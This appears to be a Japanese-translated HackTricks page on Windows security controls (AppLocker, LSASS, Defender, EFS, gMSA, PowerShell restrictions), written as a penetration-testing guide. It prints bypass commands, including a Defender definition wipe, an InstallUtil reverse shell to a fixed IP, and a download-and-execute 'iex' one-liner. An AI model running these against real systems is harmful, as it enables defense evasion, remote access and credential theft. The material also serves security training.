Windows Security Controls

Reading time: 18 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

AppLocker Policy

アプリケーションホワイトリストは、システム上で存在し実行されることが許可された承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、環境を有害なマルウェアや、組織の特定のビジネスニーズに合致しない未承認のソフトウェアから保護することです。

AppLocker は、Microsoftのアプリケーションホワイトリストソリューションであり、システム管理者にユーザーが実行できるアプリケーションとファイルを制御する機能を提供します。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して詳細な制御を提供します。
組織がcmd.exeとPowerShell.exeをブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避可能です

Check

ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:

bash
Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

このレジストリパスには、AppLockerによって適用された設定とポリシーが含まれており、システム上で強制されている現在のルールセットを確認する方法を提供します:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

バイパス

  • AppLockerポリシーをバイパスするための便利な書き込み可能フォルダー:AppLockerがC:\Windows\System32またはC:\Windows内の任意の実行を許可している場合、このバイパスに使用できる書き込み可能フォルダーがあります。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 一般的に信頼された"LOLBAS's"バイナリは、AppLockerを回避するのにも役立ちます。
  • 不適切に書かれたルールも回避される可能性があります
  • 例えば、<FilePathCondition Path="%OSDRIVE%*\allowed*"/>、どこにでも**allowedというフォルダーを作成すれば、それが許可されます。
  • 組織はしばしば**%System32%\WindowsPowerShell\v1.0\powershell.exe実行可能ファイルをブロックすることに焦点を当てますが、他の**PowerShell実行可能ファイルの場所を忘れがちです。例えば、%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exeなどです。
  • DLLの強制は非常に稀に有効であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が原因です。したがって、DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます
  • ReflectivePickSharpPickを使用して、Powershellコードを任意のプロセスで実行し、AppLockerを回避できます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを確認してください。

資格情報の保存

セキュリティアカウントマネージャー (SAM)

ローカル資格情報はこのファイルに存在し、パスワードはハッシュ化されています。

ローカルセキュリティ機関 (LSA) - LSASS

資格情報(ハッシュ化されたもの)は、シングルサインオンの理由からこのサブシステムのメモリ保存されます。
LSAはローカルのセキュリティポリシー(パスワードポリシー、ユーザー権限など)、認証アクセス トークンを管理します。
LSAは、SAMファイル内の提供された資格情報を確認し(ローカルログイン用)、ドメインユーザーを認証するためにドメインコントローラー通信します。

資格情報プロセスLSASS内に保存されます:Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化できるパスワード。

LSAシークレット

LSAはディスクにいくつかの資格情報を保存することがあります:

  • アクティブディレクトリのコンピュータアカウントのパスワード(到達不可能なドメインコントローラー)。
  • Windowsサービスのアカウントのパスワード
  • スケジュールされたタスクのパスワード
  • その他(IISアプリケーションのパスワードなど...)

NTDS.dit

これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。

Defender

Microsoft Defenderは、Windows 10およびWindows 11、そしてWindows Serverのバージョンで利用可能なアンチウイルスです。一般的なペンテストツール(例:WinPEAS)をブロックします。しかし、これらの保護を回避する方法があります。

チェック

Defenderステータスを確認するには、PSコマンドレット**Get-MpComputerStatusを実行できます(RealTimeProtectionEnabled**の値を確認して、アクティブかどうかを確認します):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

列挙するには、次のコマンドを実行することもできます:

bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFSは、対称鍵であるファイル暗号化キー(FEK)を使用してファイルを暗号化します。この鍵はユーザーの公開鍵で暗号化され、暗号化されたファイルの$EFS 代替データストリーム内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する秘密鍵を使用して$EFSストリームからFEKを復号します。詳細はこちらで確認できます。

ユーザーの操作なしでの復号シナリオには以下が含まれます:

  • ファイルやフォルダーがFAT32のような非EFSファイルシステムに移動されると、自動的に復号されます。
  • SMB/CIFSプロトコルを介してネットワーク上で送信される暗号化ファイルは、送信前に復号されます。

この暗号化方法により、所有者は暗号化されたファイルに透過的にアクセスできます。ただし、所有者のパスワードを変更してログインするだけでは復号は許可されません。

重要なポイント

  • EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。
  • 復号にはユーザーの秘密鍵を使用してFEKにアクセスします。
  • FAT32へのコピーやネットワーク送信など、特定の条件下で自動的に復号が行われます。
  • 暗号化されたファイルは、追加の手順なしで所有者がアクセスできます。

EFS情報の確認

このサービス使用したかどうかを確認するには、次のパスが存在するか確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect

ファイルへのアクセス権を確認するには、cipher /c <file>
フォルダー内でcipher /eおよびcipher /dを使用して、すべてのファイルを暗号化および復号することもできます。

EFSファイルの復号

権限のあるシステムであること

この方法では、被害者ユーザーがホスト内でプロセス実行している必要があります。その場合、meterpreterセッションを使用してユーザーのプロセスのトークンを偽装することができます(incognitoimpersonate_token)。または、ユーザーのプロセスにmigrateすることもできます。

ユーザーのパスワードを知っていること

howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub

Group Managed Service Accounts (gMSA)

Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「パスワードは期限切れにならない」設定が有効なことが多いですが、gMSAはより安全で管理しやすいソリューションを提供します:

  • 自動パスワード管理:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
  • 強化されたセキュリティ:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。
  • 複数ホストのサポート:gMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。
  • スケジュールされたタスクの実行能力:管理サービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
  • 簡素化されたSPN管理:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。

gMSAのパスワードはLDAPプロパティ_msDS-ManagedPassword_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、MSDS-MANAGEDPASSWORD_BLOBとして知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。

https://cube0x0.github.io/Relaying-for-gMSA/

このパスワードはGMSAPasswordReaderで読み取ることができます:

/GMSAPasswordReader --AccountName jkohler

この投稿で詳細を見つける

また、gMSAパスワード読み取るためのNTLMリレー攻撃を実行する方法については、このウェブページを確認してください。

LAPS

ローカル管理者パスワードソリューション (LAPS)は、Microsoftからダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードはランダム化され、ユニークで、定期的に変更され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。

LAPS

PS 制約付き言語モード

PowerShell 制約付き言語モードは、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなど、PowerShellを効果的に使用するために必要な多くの機能を制限します。

確認

bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

バイパス

bash
#Easy bypass
Powershell -version 2

現在のWindowsでは、そのバイパスは機能しませんが、 PSByPassCLMを使用できます。
コンパイルするには 次のことが必要です **参照を追加 -> 参照 -> 参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dllを追加し、プロジェクトを.Net4.5に変更します

直接バイパス:

bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

リバースシェル:

bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePick または SharpPick を使用して、Powershell コードを任意のプロセスで実行し、制約モードをバイパスできます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode を確認してください。

PS 実行ポリシー

デフォルトでは、restricted に設定されています。このポリシーをバイパスする主な方法:

bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

ユーザーを認証するために使用できるAPIです。

SSPIは、通信を希望する2台のマシンに適切なプロトコルを見つける役割を担います。これに対する推奨方法はKerberosです。その後、SSPIは使用される認証プロトコルを交渉します。これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、両方のマシンが同じものをサポートする必要があります。

Main SSPs

  • Kerberos: 推奨されるもの
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 および NTLMv2: 互換性の理由
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: WebサーバーおよびLDAP、MD5ハッシュ形式のパスワード
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSLおよびTLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: 使用するプロトコルを交渉するために使用されます(KerberosまたはNTLM、デフォルトはKerberos)
  • %windir%\Windows\System32\lsasrv.dll

The negotiation could offer several methods or only one.

UAC - User Account Control

User Account Control (UAC) は、昇格された活動のための同意プロンプトを有効にする機能です。

UAC - User Account Control

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする